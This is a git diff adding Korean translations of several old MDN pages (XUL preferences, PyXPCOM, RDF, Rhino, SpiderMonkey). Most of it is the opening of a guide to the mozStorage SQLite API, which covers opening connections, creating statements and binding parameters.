+            xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+  &lt;prefpane id="pane1" label="&amp;pane1.title;"&gt;
+    &lt;preferences&gt;
+      &lt;preference id="pref1" name="pref.name" type="bool"/&gt;
+    &lt;/preferences&gt;
+
+   .. 위 preferences를 참조하는 UI 요소, 예를 들면:
+    &lt;checkbox id="check1" preference="pref1"
+              label="&amp;check1.label;" accesskey="&amp;check1.accesskey;"/&gt;
+  &lt;/prefpane&gt;
+
+  &lt;prefpane id="pane2" label="&amp;pane2.title;" src="chrome://uri/to/pane.xul"/&gt;
+&lt;/prefwindow&gt;
+</pre>
+<p>Pane content는 inline이나 dynamic 오버레이(overlay)를 거쳐 로드될 pane content를 위해 공급된 외부 chrome URI로 지정할 수 있습니다. 여러분은 대상으로 삼는 플랫폼을 위한 <abbr title="Human Interface Guidelines">HIG</abbr>를 읽는데 주의하고 서로 다른 창 제목을 알맞게 설정하기 위해 필요하다면 XUL 전처리기(preprocessor)를 써야 합니다. 또한 창 크기가 선택(된) panel이 바뀜에 따라 바뀌지 않는 플랫폼(예 Windows)을 위한 높이(em으로)뿐만 아니라, 각 대상 플랫폼을 위한 전처리기를 써서 알맞게 창 너비(em으로)를 지정하는데 주의해야 합니다.
+</p>
+<h3 id="XULRunner_.EC.9D.91.EC.9A.A9.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8.EC.97.90.EC.84.9C_.EC.93.B0.EB.8A.94_.EB.B2.95" name="XULRunner_.EC.9D.91.EC.9A.A9.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8.EC.97.90.EC.84.9C_.EC.93.B0.EB.8A.94_.EB.B2.95"> XULRunner 응용프로그램에서 쓰는 법 </h3>
+<p>XULRunner 응용프로그램에서 preferences 대화상자를 열 때는, 반드시 다음사항을 점검하세요:
+</p>
+<ul><li> 두 boolean preferences(browser.preferences.animateFadeIn과 browser.preferences.instantApply)는 기본 preferences로 정의돼야 합니다(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=350528" title="FIXED: XULRunner needs to ship with some additional preferences">bug 350528</a> 참조). 예:
+</li></ul>
+<pre class="eval">pref("browser.preferences.animateFadeIn", false);
+pref("browser.preferences.instantApply", true);
+</pre>
+<ul><li> preferences 대화상자를 열기 위해 openDialog()를 호출할 때는, "toolbar"가 features 문자열에 포함돼야 합니다. 예:
+</li></ul>
+<pre class="eval">var features = "chrome,titlebar,toolbar,centerscreen,modal";
+window.openDialog(url, "Preferences", features);
+</pre>
+<h3 id="Bugzilla" name="Bugzilla"> Bugzilla </h3>
+<p>Preferences 바인딩의 bug를 위한 컴포넌트(하지만 Firefox/Thunderbird Options UI용은 아님)는 Toolkit:Preferences (<a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Toolkit">file a bug</a> <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&amp;product=Toolkit&amp;component=Preferences&amp;resolution=---&amp;chfieldto=Now">list open bugs</a>)
+</p>
diff --git a/files/ko/pyxpcom/index.html b/files/ko/pyxpcom/index.html
new file mode 100644
index 0000000000..e085b157f1
--- /dev/null
+++ b/files/ko/pyxpcom/index.html
@@ -0,0 +1,62 @@
+---
+title: PyXPCOM
+slug: PyXPCOM
+tags:
+  - PyXPCOM
+  - 'XPCOM:Language Bindings'
+translation_of: Mozilla/Tech/XPCOM/Language_bindings/PyXPCOM
+---
+<p>
+</p>
+<div>
+<p><b>PyXPCOM</b>는 <a class="external" href="http://www.python.org/">파이썬</a>과 <a href="ko/XPCOM">XPCOM</a> 사이를 통신할 수 있게 하고, 파이썬 애플리케이션이 XPCOM 객체에 접근할 수 있게 하고, XPCOM이 XPCOM 인터페이스로 구현된 어떠한 파이썬 클래스에도 접근할 수 있게 합니다. PyXPCOM을 이용하면, 개발자는 파이썬 애플리케이션으로 XPCOM이나 임베디드 <a href="ko/Gecko">Gecko</a>와 대화할 수 있습니다. PyXPCOM는 <a href="ko/JavaXPCOM">JavaXPCOM</a>(Java-XPCOM bridge)나 <a href="ko/XPConnect">XPConnect</a>(JavaScript-XPCOM bridge)와 유사합니다.
+</p><p>파이썬 클래스와 인터페이스: 모질라는 엠베더와 컴포넌트 개발자가 이용할 수 있는 많은 외부 인터페이스를 정의합니다. PyXPCOM은 그들의 인터페이스를 파이썬 인터페이스처럼 접근할 수 있게 합니다. 또한 PyXPCOM은 XPCOM 헬퍼 함수와 같이, 파이썬에서 XPCOM과 Gecko를 초기화하고 종료하는 함수에 접근할 수 있는 몇몇 클래스를 포함하고 있습니다.
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentation"> <a>Documentation</a> </h4>
+<dl><dt> <a href="ko/Building_PyXPCOM">PyXPCOM 빌드하기</a>
+</dt><dd> <small>PyXPCOM를 빌드하는 방법입니다.</small>
+</dd></dl>
+<dl><dt> <a href="ko/Creating_a_Python_XPCOM_component">파이썬 XPCOM 컴포넌트 만들기</a>
+</dt><dd> <small>파이썬으로 간단한 <a href="ko/XPCOM">XPCOM</a> 컴포넌트를 어떻게 만드는지 보여주는 예제</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.ibm.com/developerworks/webservices/library/co-pyxp1/">PyXPCOM 알기</a>
+</dt><dd> <small> PyXPCOM은 XPCOM과 파이썬을 연결하는 기술입니다. 이 기사는 당신이 PyXPCOM을 시작할 수 있게 합니다.</small>
+</dd></dl>
+<p><span>NOTE: The links to Part II and III of this series are broken and I cannot find them on the IBM site. Please update this page if/when the links can be found.</span>
+</p><p><span><a>모두 보기...</a></span>
+</p>
+<h4 id="역사"> 역사 </h4>
+<p>PyXPCOM은 <a class="external" href="http://www.activestate.com/">ActiveState Tool Corporation</a>에 의해 처음 개발되었고, 그들의 <a class="external" href="http://www.activestate.com/Products/Komodo">Komodo 프로젝트</a>에서 <a class="external" href="http://aspn.activestate.com/ASPN/Downloads/Komodo/index/PyXPCOM/">나왔습니다</a>. 현재 릴리즈는 모질리 빌드 시스템에 <a class="external" href="http://public.activestate.com/pyxpcom/">통합되었습니다</a>.
+</p>
+</td>
+<td>
+<h4 id="커뮤니티"> 커뮤니티 </h4>
+<ul><li> 모질라 포럼 보기...
+</li></ul>
+<p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xpcom"> 메일링 리스트</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom"> 뉴스그룹</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xpcom/feeds"> 웹 Feed</a></li>
+</ul>
+<p></p>
+<ul><li> <a class="external" href="http://listserv.activestate.com/mailman/listinfo/pyxpcom">메일링 리스트</a>
+</li><li> <a class="link-irc" href="irc://irc.mozilla.org:6667/pyxpcom">#pyxpcom on irc.mozilla.org</a>
+</li></ul>
+<h4 id="소스_코드"> 소스 코드 </h4>
+<ul><li> PyXPCOM 코드는 trunk의 <code><a href="https://dxr.mozilla.org/mozilla-central/source/extensions/python/xpcom/" rel="custom">extensions/python/xpcom/</a></code> 디렉토리에서 받을 수 있습니다.
+</li><li> PyXPCOM는 기본적으로 빌드되지 않습니다. PyXPCOM를 빌드하려면, <a href="ko/Building_PyXPCOM">Building PyXPCOM</a> 문서를 보세요.
+</li></ul>
+<h4 id="관련_주제"> 관련 주제 </h4>
+<dl><dd> <a href="ko/XPCOM">XPCOM</a>
+</dd><dd> <a href="ko/PyDOM">PyDOM</a>: 파이썬으로 JavaScript를 대체하기
+</dd></dl>
+</td></tr></tbody></table>
+<p><span>Categories</span>
+</p><p><span>Interwiki Language Links</span>
+</p><p><br>
+</p>
diff --git a/files/ko/rdf/index.html b/files/ko/rdf/index.html
new file mode 100644
index 0000000000..7cd149a3f5
--- /dev/null
+++ b/files/ko/rdf/index.html
@@ -0,0 +1,56 @@
+---
+title: RDF
+slug: RDF
+tags:
+  - RDF
+translation_of: Archive/Web/RDF
+---
+<div>
+<p><b>Resource Description Framework (RDF)</b> 는 XML 응용 프로그램으로 종종 구현되는 메타데이터 모델을 위한 명세의 일종입니다. RDF 관련 명세는 World Wide Web Consortium (W3C) 에서 유지됩니다.
+</p><p>RDF 메타데이터 모델은 주어-술어-목적어 (subject-predicate-object) 형식의 표현으로 (RDF 용어로는 트리플 이라고 합니다) 자원에 대한 정보를 표현하자는 아이디어에 기반한 것입니다. 주어(subject)는 설명하고자 하는 자원이고, 술어(predicate)는 그 자원의 특징, 정보 혹은 종종 다른 주어나 목적어와의 관계를 표현합니다. 목적어(object)는 특징의 값이나 관계의 대상 등이 됩니다.
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentation" name="Documentation"> <a>Documentation</a> </h4>
+<dl><dt> <a href="ko/XTech_2005_Presentations/Directions_of_the_Mozilla_RDF_engine">Mozilla RDF 엔진의 방향</a>
+</dt><dd> <small>이 프레젠테이션은 새로운 Mozilla RDF 엔진의 개발 내용을 보여줍니다. 여기에는 공개 웹 컨텐츠를 위한 RDF API 의 공개 계획과 성능 및 정확도의 향상 등의 내용이 포함됩니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.xml.com/pub/a/2001/01/24/rdf.html">RDF 란 무엇인가?</a>
+</dt><dd> <small><a class="external" href="http://www.xml.com">XML.com</a> 에 있는 Resource Description Framework 에 대한 Tim Bray 의 소개글.</small>
+</dd></dl>
+<dl><dt> <a href="ko/RDF_in_Mozilla_FAQ">RDF in Mozilla FAQ</a>
+</dt><dd> <small>Mozilla 의 Resource Description Framework 에 대한 자주 묻는 질문들 (FAQ).</small>
+</dd></dl>
+<dl><dt> <a href="ko/RDF_in_Fifty_Words_or_Less">RDF in Fifty Words or Less</a>
+</dt><dd> <small>Resource Description Framework 에 대한 간략한 소개. </small>
+</dd></dl>
+<dl><dt> <a href="ko/RDF_Datasource_How-To">RDF 데이터 소스 How-To</a>
+</dt><dd> <small>Mozilla 의 RDF 구현을 통해 어떻게 고유한 클라이언트 단의 데이터 소스를 생성하는 지에 대한 cookbook 스타일의 문서.</small>
+</dd></dl>
+<dl><dt> <a href="ko/Aggregating_the_In-Memory_Datasource">메모리 상의 데이터 소스 모으기</a>
+</dt><dd> <small>메모리 상의 데이터 소스에 <a href="ko/XPCOM">XPCOM</a> 모음(aggregation) 사용하기.</small>
+</dd></dl>
+<p><span class="alllinks"><a>모두 보기...</a></span>
+</p>
+</td>
+<td>
+<h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0"> 커뮤니티 </h4>
+<ul><li> Mozilla 포럼 보기...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-rdf", "mozilla.dev.tech.rdf") }}
+</p>
+<ul><li> <a class="external" href="http://www.ilrt.bris.ac.uk/discovery/rdf-dev/">RDF-Dev 메일링 리스트</a>
+</li></ul>
+<h4 id=".EA.B0.9C.EB.B0.9C_.EB.8F.84.EA.B5.AC" name=".EA.B0.9C.EB.B0.9C_.EB.8F.84.EA.B5.AC"> 개발 도구 </h4>
+<ul><li> <a class="external" href="http://planetrdf.com/guide/#sec-tools">RDF 편집기와 개발 도구들</a>
+</li><li> <a class="external" href="http://www.w3.org/RDF/Validator/">RDF 검사기</a>
+</li></ul>
+<h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C"> 관련 주제 </h4>
+<dl><dd> <a href="ko/XML">XML</a>
+</dd></dl>
+</td></tr></tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/RDF", "fr": "fr/RDF", "it": "it/RDF", "ja": "ja/RDF", "pl": "pl/RDF", "pt": "pt/RDF" } ) }}
diff --git a/files/ko/rhino/index.html b/files/ko/rhino/index.html
new file mode 100644
index 0000000000..5a0ac0f06d
--- /dev/null
+++ b/files/ko/rhino/index.html
@@ -0,0 +1,18 @@
+---
+title: Rhino
+slug: Rhino
+tags:
+  - Java
+  - JavaScript
+  - Rhino
+translation_of: Mozilla/Projects/Rhino
+---
+<p><img alt="Image:rhino.jpg" class="internal" src="/@api/deki/files/832/=Rhino.jpg"></p>
+<p><strong>Rhino</strong> 는 순수 자바 언어로 된 <a href="/en/JavaScript" style="line-height: inherit;" title="en/JavaScript">JavaScript</a> 오픈소스 구현체입니다. 전형적으로 자바 애플리케이션에 적용되어서 최종 사용자에게 스크립팅을 제공합니다. J2SE 6에는 기본 자바 스크립팅 엔진으로 포함되어 있습니다.</p>
+<h4 id="Rhino_downloads" name="Rhino_downloads">Rhino 다운로드</h4>
+<p><a class="internal" href="/en/RhinoDownload" title="en/RhinoDownload">소스와 바이너리</a> 얻는 방법 </p>
+<h4 id="Rhino_documentation" name="Rhino_documentation">Rhino 문서</h4>
+<p>스크립트 작성자와 포함하기 위한 분들을 위한 <a href="/en/Rhino_documentation" title="en/Rhino_documentation">Rhino에 관련된 정보</a>.</p>
+<h4 id="Rhino_help" name="Rhino_help">Rhino 도움말</h4>
+<p>막혔을 때 <a href="/en/Rhino/Community" title="en/Rhino/Community">도움이 되는 것</a>.</p>
+<p>{{ languages( { "ja": "ja/Rhino" } ) }}</p>
diff --git a/files/ko/sandbox/index.html b/files/ko/sandbox/index.html
new file mode 100644
index 0000000000..96b6ad4f75
--- /dev/null
+++ b/files/ko/sandbox/index.html
@@ -0,0 +1,14 @@
+---
+title: 샌드박스
+slug: Sandbox
+translation_of: Sandbox
+---
+<p> </p>
+
+<p>{{IncludeSubnav("/ko/docs/MDN")}}</p>
+
+<p>{{DocStatusQuickLinks()}}</p>
+
+<p> </p>
+
+<p>{{DocStatus("Learn")}}</p>
diff --git a/files/ko/scripting_plugins/index.html b/files/ko/scripting_plugins/index.html
new file mode 100644
index 0000000000..f66cb9a953
--- /dev/null
+++ b/files/ko/scripting_plugins/index.html
@@ -0,0 +1,6 @@
+---
+title: Scripting Plugins
+slug: Scripting_Plugins
+translation_of: Plugins/Guide/Scripting_plugins
+---
+<p>{{wiki.localize('System.API.page-generated-for-subpage')}}</p>
diff --git a/files/ko/spidermonkey/index.html b/files/ko/spidermonkey/index.html
new file mode 100644
index 0000000000..a5b5389490
--- /dev/null
+++ b/files/ko/spidermonkey/index.html
@@ -0,0 +1,67 @@
+---
+title: SpiderMonkey
+slug: SpiderMonkey
+tags:
+  - SpiderMonkey
+translation_of: Mozilla/Projects/SpiderMonkey
+---
+<div><strong>SpiderMonkey</strong>는 C로 만든 <a href="ko/Gecko">Gecko</a>의 <a href="ko/JavaScript">JavaScript</a> 엔진입니다. 다양한 Mozilla 제품에 쓰이고 MPL/GPL/LGPL 세 라이센스 아래서 쓸 수 있습니다.</div>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"><a>문서</a></h4>
+
+    <dl>
+     <dt><a href="ko/JSAPI_Reference">JSAPI Reference</a></dt>
+     <dd><small>SpiderMonkey API 레퍼런스.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="ko/JSDBGAPI_Reference">JSDBGAPI Reference</a></dt>
+     <dd><small>SpiderMonkey 디버깅 API 레퍼런스.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="ko/JavaScript_C_Engine_Embedder's_Guide">JavaScript C Engine Embedder's Guide</a></dt>
+     <dd><small>이 길잡이(guide)는 SpiderMonkey 개요를 제공하고 자바스크립트를 인식하게끔 어플리케이션에서 엔진 호출을 임베드할 수 있는 법을 설명합니다.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://www.mozilla.org/js/spidermonkey/tutorial.html">How to embed the JavaScript engine</a></dt>
+     <dd><small>SpiderMonkey 임베딩에 관한 빈약한(bare-bones) 입문서.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="ko/SpiderMonkey_Garbage_Collection_Tips">SpiderMonkey Garbage Collection Tips</a></dt>
+     <dd><small>가비지 컬렉터 함정(pitfall)을 피하는 팁.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="ko/Introduction_to_the_JavaScript_shell">Introduction to the JavaScript shell</a></dt>
+     <dd><small>자바스크립트 쉘을 구하고 빌드하고 쓰는 법.</small></dd>
+    </dl>
+
+    <p><span class="alllinks"><a>View All...</a></span></p>
+   </td>
+   <td>
+    <h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0">커뮤니티</h4>
+
+    <ul>
+     <li>Mozilla 포럼 보기...</li>
+    </ul>
+
+    <h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C">관련 주제</h4>
+
+    <dl>
+     <dd><a href="ko/JavaScript">JavaScript</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Categories</span></p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/ko/storage/index.html b/files/ko/storage/index.html
new file mode 100644
index 0000000000..15a47c1be3
--- /dev/null
+++ b/files/ko/storage/index.html
@@ -0,0 +1,396 @@
+---
+title: Storage
+slug: Storage
+tags:
+  - Guide
+  - Interfaces
+  - Storage
+  - Toolkit API
+translation_of: Mozilla/Tech/XPCOM/Storage
+---
+<p><strong>저장소(Storage)</strong>는 <a class="external" href="http://www.sqlite.org/">SQLite</a> 데이터베이스 API입니다. 이는 신뢰할 수 있는 호출자에게 제공되는데 여기에는 확장과 Firefox 콤포넌트만 해당합니다.</p>
+
+<p>API는 현재 "확정되지 않은 상태(unfrozen)"로서 언제든지 바뀔 수 있습니다. 사실 Storage 기능이 도입되고 파이어폭스 릴리즈 때마다 변화가 있었습니다. 그리고 앞으로도 변화가 있을 것입니다.</p>
+
+<div class="note"><strong>참고:</strong> Storage는 웹 페이지가 영속적인 데이터를 저장하는데 사용하는 <a href="/ko/DOM/Storage" title="ko/DOM/Storage">DOM:Storage</a> 기능이나 (확장이 사용하기 위한 <a href="/ko/XPCOM" title="ko/XPCOM">XPCOM</a> 저장소 유틸리티인) <a href="/ko/Session_store_API" title="ko/Session_store_API">Session store API</a> 기능과는 다릅니다.</div>
+
+<h2 id="시작하기">시작하기</h2>
+
+<p>이 문서는 mozStorage API와 sqlite의 몇 가지 특성에 대해 다룹니다. SQL이나 "일반적인" sqlite에 대해서는 다루지 <em>않습니다</em>. 하지만, <a href="#See_also"> 참고 섹션</a>에서 유용한 링크를 찾을 수 있습니다. mozStorage API에 대한 도움을 얻으려면 news.mozilla.org 뉴스 서버의 mozilla.dev.apps.firefox 그룹으로 질문을 올릴 수 있습니다. 버그를 신고하려면 <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Toolkit&amp;component=Storage">Bugzilla</a> (product "Toolkit", component "Storage")를 이용하십시오.</p>
+
+<p>이제 시작하겠습니다. mozStorage는 많은 다른 데이터베이스 시스템과 유사하게 설계되었습니다. 사용을 위한 전반적인 절차는 다음과 같습니다.</p>
+
+<ol>
+ <li><a href="/ko/mozIStorageService" title="https://developer.mozilla.org/ko/mozIStorageService">Storage 서비스</a> 얻기</li>
+ <li>선택한 데이터베이스로 접속을 엽니다.</li>
+ <li>접속에서 실행할 구문을 생성합니다.</li>
+ <li>필요한 경우에 매개 변수를 구문에 대입합니다.</li>
+ <li>구문을 실행합니다.</li>
+ <li>오류를 확인합니다.</li>
+ <li>구문을 초기화합니다.</li>
+</ol>
+
+<h2 id="Opening_a_connection" name="Opening_a_connection">데이터베이스에 연결하기</h2>
+
+<p>아래의 자바스크립트의 예제는 profile디렉토리의 <code>my_db_file_name.sqlite</code>를 여는 예제입니다.</p>
+
+<pre class="brush: js">var file = Components.classes["@mozilla.org/file/directory_service;1"]
+                     .getService(Components.interfaces.nsIProperties)
+                     .get("ProfD", Components.interfaces.nsIFile);
+file.append("my_db_file_name.sqlite");
+
+var storageService = Components.classes["@mozilla.org/storage/service;1"]
+                        .getService(Components.interfaces.mozIStorageService);
+var mDBConn = storageService.openDatabase(file); // Will also create the file if it does not exist
+</pre>
+
+<p>똑같이 C++에서는 아래와 같습니다.:</p>
+
+<pre class="brush: cpp">nsCOMPtr&lt;nsIFile&gt; dbFile;
+rv = NS_GetSpecialDirectory(NS_APP_USER_PROFILE_50_DIR,
+                            getter_AddRefs(dbFile));
+NS_ENSURE_SUCCESS(rv, rv);
+rv = dbFile-&gt;Append(NS_LITERAL_STRING("my_db_file_name.sqlite"));
+NS_ENSURE_SUCCESS(rv, rv);
+nsCOMPtr&lt;mozIStorageService&gt; dbService =
+  do_GetService(MOZ_STORAGE_SERVICE_CONTRACTID, &amp;rv);
+NS_ENSURE_SUCCESS(rv, rv);
+
+nsCOMPtr&lt;mozIStorageConnection&gt; dbConn;
+rv = dbService-&gt;OpenDatabase(dbFile, getter_AddRefs(dbConn));
+NS_ENSURE_SUCCESS(rv, rv);
+</pre>
+
+<div class="note">Note:  <code>MOZ_STORAGE_SERVICE_CONTRACTID</code>는 <code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/build/mozStorageCID.h" rel="custom">storage/build/mozStorageCID.h</a></code>에서 정의 되어있습니다..</div>
+
+<p></p><div class="blockIndicator warning">
+    <p><strong>Warning:</strong> 아마도 sqlite database라는 의미로 '.sdb'라고 확장자를 쓰고 싶을 겁니다. 그러나 이 건 추천하고 싶지 않네요. 이 확장자는윈도우즈에서는 'Application Compatibility Database'라는 의미로 특별히 취급하고 있습니다. 그래서 이 확장자의 파일이 바뀌면 시스템 복원 기능이 자동으로 백업을 하게 됩니다. 그러므로 이 확장자를 쓰는 것은 파일시스템에 오버헤드를 발행하게 만듭니다.</p>
+</div><p></p>
+
+<h2 id="Statements" name="Statements">연결 끊기</h2>
+
+<p>동기 트랜젝션을 사용 중에 연결을 끊으려면 <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/mozIStorageConnection#close()">mozIStorageConnection.close()</a></code> 함수를 사용하세요. 비동기 트랜젝션을 사용한다면 <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/mozIStorageConnection#asyncClose()">mozIStorageConnection.asyncClose()</a></code> 함수를 사용해야 합니다. 후자는 모든 연결이 끊어지기 전의 모든 진행중인 트랜젝션에 사용할 수 있습니다. 그리고 부차적으로 연결이 끊어졌을 때 콜백함수를 사용할 수 있습니다.</p>
+
+<h2 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h2>
+
+<p>아래 단계에 따라 SQLite 데이터베이스에 구문을 생성하고 실행할 수 있습니다. 전체 레퍼런스는 <a href="/ko/MozIStorageStatement" title="ko/MozIStorageStatement">mozIStorageStatement</a>를 참고하십시오.</p>
+
+<h3 id="Creating_a_statement" name="Creating_a_statement">구문생성</h3>
+
+<p>SQL문을 실행하는 방법은 두가지가 있습니다.</p>
+
+<h4 id="실행_결과를_반환하지_않는_방법">실행 결과를 반환하지 않는 방법</h4>
+
+<p>실행한 결과가 있어야 하는 경우 자바스크립트에서는 <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/mozIStorageConnection#executeSimpleSQL()">mozIStorageConnection.executeSimpleSQL()</a></code> API를 사용하세요. :</p>
+
+<pre class="brush: js">dbConn.executeSimpleSQL("CREATE TEMP TABLE table_name (column_name INTEGER)");
+</pre>
+
+<p>마찬가지로 C++에서는 아래와 같습니다.:</p>
+
+<pre class="brush: cpp">rv = mDBConn-&gt;ExecuteSimpleSQL(NS_LITERAL_CSTRING("CREATE TEMP TABLE table_name (column_name INTEGER)"));
+NS_ENSURE_SUCCESS(rv, rv);</pre>
+
+<h4 id="실행결과를_보여주는_방법">실행결과를 보여주는 방법</h4>
+
+<p>반면 실행 결과물이 필요한 경우 자바스크립트에서는 <code><a href="https://developer.mozilla.org/ko/docs/XPCOM_Interface_Reference/mozIStorageConnection#createStatement()">mozIStorageConnection.createStatement()</a></code> API를 사용하세요.:</p>
+
+<pre class="brush: js">var statement = dbConn.createStatement("SELECT * FROM table_name WHERE column_name = :parameter");
+</pre>
+
+<p>This example uses a named placeholder called "parameter" to be bound later (described in <a href="#Binding_Parameters">Binding Parameters</a>).  Similarly, the C++ looks like this:</p>
+
+<pre class="brush: cpp">nsCOMPtr&lt;mozIStorageStatement&gt; statement;
+rv = dbConn-&gt;CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM table_name WHERE column_name = ?1"),
+                             getter_AddRefs(statement));
+NS_ENSURE_SUCCESS(rv, rv);
+</pre>
+
+<p>This example uses the numbered placeholder indexed by zero for a parameter to be bound later (described in <a href="#Binding_Parameters">Binding Parameters</a>).</p>
+
+<p></p><div class="blockIndicator note"><strong>주의:</strong> Numerical indexes for parameters are always one less than the number you write in the SQL.  The use of numerical indexes for parameters is strongly discouraged in JavaScript where named parameters are much easier to use.</div><p></p>
+
+<p></p><div class="blockIndicator note"><strong>주의:</strong> If you need to execute a statement multiple times, caching the result of createStatement will give you a noticeable performance improvement because the SQL query does not need to be parsed each time.</div><p></p>
+
+<h3 id=".EB.A7.A4.EA.B0.9C_.EB.B3.80.EC.88.98_.EB.8C.80.EC.9E.85" name=".EB.A7.A4.EA.B0.9C_.EB.B3.80.EC.88.98_.EB.8C.80.EC.9E.85">매개 변수 대입</h3>
+
+<p>일반적으로 실행 중에 매개 변수를 포함한 SQL 문자열을 생성하는 것보다 모든 매개 변수를 별도로 대입하는 것이 가장 좋은 방법입니다. 다른 무엇보다도 이는 SQL 주입 공격을 방지할 수 있는데, 대입한 매개 변수는 절대 SQL로 실행되지 않기 때문입니다.</p>
+
+<p>여러분은 플레이스홀더를 포함한 구문에 매개 변수를 대입합니다. 플레이스홀더는 색인으로 참조하는데, "?1"로 시작하고 그 다음 "?2"...와 같습니다. 플레이스홀더를 대입하려면 구문 함수 BindXXXParameter(0) BindXXXParameter(1)... 를 사용합니다.</p>
+
+<dl>
+ <dd>
+ <div class="note">주의: 플레이스홀더의 색인은 1부터 시작합니다. 대입 함수로 전달하는 정수는 0부터 시작합니다. 이는 "?1"가 매개 변수 0에 대응하고 "?2"가 매개 변수 1에 대응한다는 것을 의미합니다.</div>
+ </dd>
+</dl>
+
+<p>"?xx" 대신 ":example"와 같은 이름있는 매개 변수를 사용할 수도 있습니다.</p>
+
+<p>플레이스홀더는 하나의 SQL 구문에 여러 번 나타날 수 있으며 모든 인스턴스는 대입한 값으로 대체합니다. 대입하지 않은 매개 변수는 NULL로 해석합니다.</p>
+
+<p>아래 예제는 <code>bindUTF8StringParameter()</code>와 <code>bindInt32Parameter()</code>만 사용하고 있습니다. 모든 대입 함수 목록은 <a href="/ko/MozIStorageStatement#Binding_functions" title="ko/MozIStorageStatement#Binding_functions">mozIStorageStatement</a>를 참고하시기 바랍니다.</p>
+
+<p>C++ 예제:</p>
+
+<pre>nsCOMPtr&lt;mozIStorageStatement&gt; statement;
+rv = mDBConn-&gt;CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM foo WHERE a = ?1 AND b &gt; ?2"),
+                              getter_AddRefs(statement));
+NS_ENSURE_SUCCESS(rv, rv);
+rv = statement-&gt;BindUTF8StringParameter(0, "hello"); // "hello" will be substituted for "?1"
+NS_ENSURE_SUCCESS(rv, rv);
+rv = statement-&gt;BindInt32Parameter(1, 1234); // 1234 will be substituted for "?2"
+NS_ENSURE_SUCCESS(rv, rv);
+</pre>
+
+<p>자바스크립트 예제:</p>
+
+<pre>var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1 AND b &gt; ?2");
+statement.bindUTF8StringParameter(0, "hello");
+statement.bindInt32Parameter(1, 1234);
+</pre>
+
+<p>이름있는 매개 변수를 사용하는 경우에는 <code>getParameterIndex</code> 메소드를 사용하여 이름있는 매개 변수의 색인을 얻어야 합니다. 자바스크립트 예제는 다음과 같습니다.</p>
+
+<pre>var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = :myfirstparam AND b &gt; :mysecondparam");
+
+var firstidx = statement.getParameterIndex(":myfirstparam");
+statement.bindUTF8StringParameter(firstidx, "hello");
+
+var secondidx = statement.getParameterIndex(":mysecondparam");
+statement.bindInt32Parameter(secondidx, 1234);
+</pre>
+
+<p>같은 질의에 이름있는 매개 변수와 색인된 매개 변수를 혼합할 수도 있습니다.</p>
+
+<pre>var statement = mDBConn.createStatement("SELECT * FROM foo WHERE a = ?1 AND b &gt; :mysecondparam");
+
+statement.bindUTF8StringParameter(0, "hello");
+// you can also use
+// var firstidx = statement.getParameterIndex("?1");
+// statement.bindUTF8StringParameter(firstidx, "hello");
+
+var secondidx = statement.getParameterIndex(":mysecondparam");
+statement.bindInt32Parameter(secondidx, 1234);
+</pre>
+
+<p><code>IN ( value-list )</code> 표현식과 함께 <code>WHERE</code> 절을 사용하는 경우에 대입은 동작하지 않게 됩니다. 대신 문자열을 생성하시기 바랍니다. 사용자 입력을 처리하는 경우가 아니라면 보안 문제는 없습니다.</p>
+
+<pre>var ids = "3,21,72,89";
+var sql = "DELETE FROM table WHERE id IN ( "+ ids +" )";
+</pre>
+
+<h3 id=".EA.B5.AC.EB.AC.B8_.EC.8B.A4.ED.96.89" name=".EA.B5.AC.EB.AC.B8_.EC.8B.A4.ED.96.89">구문 실행</h3>
+
+<p>구문을 실행하는 주 방법은 <code>mozIStorageStatement.executeStep</code>입니다. 이 함수는 구문이 생성하는 모든 결과 행을 나열할 수 있도록 해주고 더 이상 결과가 없을 때를 알려줍니다.</p>
+
